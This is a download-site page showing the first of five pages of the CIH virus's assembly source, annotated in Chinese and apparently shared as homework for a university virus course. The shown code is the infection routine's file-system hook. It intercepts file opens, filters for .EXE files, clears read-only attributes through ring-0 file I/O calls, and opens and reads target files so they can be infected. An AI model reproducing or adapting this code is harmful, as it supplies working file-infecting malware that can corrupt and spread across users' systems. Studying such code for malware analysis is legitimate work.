⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 cih14.txt

📁 哈哈是CIH的分析代码,是我们病毒选修课的作业,现在留作业让我们编病毒!
💻 TXT
📖 第 1 页 / 共 5 页
字号:
@3                      =       FileSystemApiHook                                
                                                                                 
                        pushad                                                   
                                                                                 
                        call    @5                                              
@5:                                                                             
                        pop     esi     
ss                                                                               
                        add     esi, VirusGameDataStartAddress-@5                
                                                                                 
                                      
                                                                                 
                        test    byte ptr (OnBusy-@6)[esi], 01h       ;ebx为FunctionNum的地址
                        jnz     pIFSFunc                          
;文件系统钩子的调用格式如下      
;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,int ResourceFlags, int CodePage, pioreq pir)                                                                                                                          
                        lea     ebx, [esp+20h+04h+04h]         ;测试此次调用是否是为了打开文件                  
                        cmp     dword ptr [ebx], 00000024h     ;在DDK的ifs.h中定义的#define IFSFN_OPEN  36                  
                        jne     prevhook                       ;不是就跳到前一个文件钩子去                                                                                                                                         
                                                                                 
                        inc     byte ptr (OnBusy-@6)[esi]      ; Enable OnBusy ;设置"忙"标志为"忙"   
                         
                        add     esi, FileNameBuffer-@6      ;esi指向FileNameBuffer                      
                                                                                 
                        push    esi                     ;保存之                            
                                                                                 
                        mov     al, [ebx+04h]           ;ebx+4为int Drive的地址                          
                        cmp     al, 0ffh               ;是否是UNC(universal naming conventions)地址,是就跳转               
                        je      CallUniToBCSPath                                 
                                                                                 
                        add     al, 40h                                          
                        mov     ah, ':'                                          
                                                                                 
                        mov     [esi], eax            ;处理成"X:"的形式                           
                                                                                 
                        inc     esi                                              
                        inc     esi                                              
                                                                                 
                                     
                                                                                 
CallUniToBCSPath:                                                                
                        push    00000000h              ;字符集                           
                        push    FileNameBufferSize     ;字符长度                          
                        mov     ebx, [ebx+10h]                                   
                        mov     eax, [ebx+0ch]                                   
                        add     eax, 04h                                         
                        push    eax                    ;Uni字符首址                         
                        push    esi                    ;BCS字符首址                           
                        int     20h                    ;调用UniToBCSPath                   
UniToBCSPath            =       $                                                
                        dd      00400041h              ;调用id                           
                        add     esp, 04h*04h                                     
                                                                                 
                                        
                                                                                 
                                                      
                        cmp     [esi+eax-04h], 'EXE.'       ;测试是否是*.EXE(可执行)文件                      
                        pop     esi                                              
                        jne     DisableOnBusy                                    
                                                                                 
IF      DEBUG                                                                    
                                                                                                                         
                                                                                 
                                                     
                        cmp     [esi+eax-06h], 'KCUF'      ;如果是测试用途则测试是否是"FUCK.EXE"                       
                        jne     DisableOnBusy                                    
                                                                                 
ENDIF                                                                            
                                        
                                                                                 
                                                          
                        cmp     word ptr [ebx+18h], 01h     ;测试是否打开,没打开则跳转DisableOnBusy                    
                        jne     DisableOnBusy                                    
                                                                                 
                                         
;  *****获得文件属性*****                                                                                
                        mov     ax, 4300h      ;IFSMgr_Ring0_FileIO的获得文件属性号                                   
                        int     20h            ;调用IFSMgr_Ring0_FileIO的获得文件属性的功能           
IFSMgr_Ring0_FileIO     =       $                                                
                        dd      00400032h            ;调用号                            
                                                                                 
                        jc      DisableOnBusy        ;判断是否失败                            
                                                                                 
                        push    ecx                                              
                                                                                 
                                         
                                                                                 
                        mov     edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]     
                        mov     edi, [edi]               ;获得IFSMgr_Ring0_FileIO调用的地址                          
                                                                                 
;  *****判断是否是只读文件*****                                        
                                                                                 
                        test    cl, 01h                                          
                        jz      OpenFile       ;测试是否是只读文件                                   
                                                                                 
;  *****修改只读文件属性,使其可写*****                                       
                                                                                 
                        mov     ax, 4301h      ;IFSMgr_Ring0_FileIO的获得文件属性号(R0_FILEATTRIBUTES/SET_ATTRIBUTES )                                                       
                        xor     ecx, ecx                                         
                        call    edi            ;调用IFSMgr_Ring0_FileIO的改文件属性功能,使文件可写          
                                                                                 
                                         
                                                                                 
OpenFile:                                                                        
                        xor     eax, eax                                        
                        mov     ah, 0d5h       ;IFSMgr_Ring0_FileIO的打开文件功能号(R0_OPENCREATFILE or RO_OPENCREAT_IN_CONTEXT)                                 
                        xor     ecx, ecx       ;文件属性                                   
                        xor     edx, edx                                         
                        inc     edx                                              
                        mov     ebx, edx                                         
                        inc     ebx             ;esi为文件名首址,自减一                                
                        call    edi             ;调用IFSMgr_Ring0_FileIO的打开文件功能             
                                                                                 
                        xchg    ebx, eax        ; 在ebx中保存文件句柄            
                                                                                 
                                        
                                                                                 
                        pop     ecx                                              
                                                                                 
                        pushf                                                    
                                                                                 
                        test    cl, 01h                                          
                        jz      IsOpenFileOK         ;是否需要恢复文件属性(有写属性就不需要恢复了)                              
                                                                                 
;  *****恢复文件属性*****                                        
                                                                                 
                        mov     ax, 4301h           ;IFSMgr_Ring0_FileIO的获得文件属性号(R0_FILEATTRIBUTES/SET_ATTRIBUTES)                             
                        call    edi                 ; VXD调用, 恢复文件属性           
                                                                                 
                                         
                                                                                 
IsOpenFileOK:                                                                    
                        popf                                                     
                                                                                 
                        jc      DisableOnBusy       ;判断打开是否成功?                             
                                                                                 
                                         
                                                                                 
                        push    esi     ; 把文件名数据区首址压栈  
                                                                                 
                        pushf           ;保存标志位      
                                                                                 
                        add     esi, DataBuffer-@7       ;esi指向数据区首址  
                                                                                 
                                                    
                                                                                 
                        xor     eax, eax         ;eax自身做异或                                
                        mov     ah, 0d6h         ;IFSMgr_Ring0_FileIO的读文件功能号(R0_READFILE)                                     

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -